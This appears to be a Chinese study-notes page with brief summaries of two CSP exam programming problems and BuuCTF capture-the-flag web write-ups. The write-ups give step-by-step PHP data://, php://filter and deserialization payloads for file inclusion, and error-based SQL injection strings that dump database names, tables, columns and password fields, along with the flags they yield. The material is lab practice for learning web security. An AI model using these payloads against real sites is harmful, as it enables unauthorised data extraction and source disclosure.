CSP
2022-12-1 现值计算
=输入n和i,n表示复利的次数,i表示利率。然后用户输入n个数值,代表每次复利的金额。根据复利公式计算出总的复利金额,并输出结果。
1 |
|
2022-12-2 训练计划
70分
任务调度。输入n和m,n表示任务总数,m表示操作总数。接着输入m个操作,每个操作包括两个数值,第一个数值表示依赖的前一个操作的编号,第二个数值表示该操作需要的时间。程序会根据这些输入计算出每个操作的开始时间和结束时间,并输出结果。如果所有操作都能在规定时间内完成,则输出每个操作的开始时间和结束时间;如果有某个操作无法在规定时间内完成,则输出”0”表示无法完成。最后返回0表示程序正常结束。
1 |
|
BuuCTF
24、NiZhuanSiWei
从题目的php代码中可以知道需要用get方式传三个参数,text,file,password
有一个php文件
访问该文件,什么都没有
有一行代码说我们要传入一个文件,内容是”welcome to the zjctf”
要用到data协议,data协议通常是用来执行PHP代码,也可以将内容写入data协议中,然后让file_get_contents函数取读取。构造:data://text/plain,welcome to the zjctf
为了绕过一些过滤,用base64编码构造payload:/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
有一个可控参数file,构造file=useless.php,但是针对php文件我们需要进行base64编码,否则读取不到其内容,所以构造payload:/?file=php://filter/read=convert.base64-encode/resource=useless.php
完整payload:/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php
得到一串base64编码
解码
得到useless.php源码
1 | <?php |
有一个 flag.php ,并且file不为空将读取flag.php并显示。所以。构造一个序列化字符串
1 | <?php |
找个在线运行PHP的网站,得到
构造payload:/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
查看源代码,得到flag
1 | flag{6cb4bd76-2b5f-4876-9fe0-46f02e2d0062} |
25、HardSQL
一些and、union、select、空格等常见的SQL语句被过滤了
1 | 这道题是xpath报错注入,函数注入 |
输入用户名:1
密码:1'or'1'='1
出现这段话,并且url加上了/check.php
爆库名:?username=admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=111
geek
爆表名:?username=admin%27or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(%27geek%27)),0x7e),1))%23&password=111
H4rDsq1
爆字段:?username=admin%27or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like(%27H4rDsq1%27)),0x7e),1))%23&password=111
id,username,password
爆数据:?username=admin%27or(updatexml(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e),1))%23&password=111
flag{52272770-1ba7-4986-8a7d-cb
这里只爆出前面一部分flag,然后再使用right()函数拼接flag?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))%23&password=111
7-4986-8a7d-cb84363e2987}
1 | flag{52272770-1ba7-4986-8a7d-cb84363e2987} |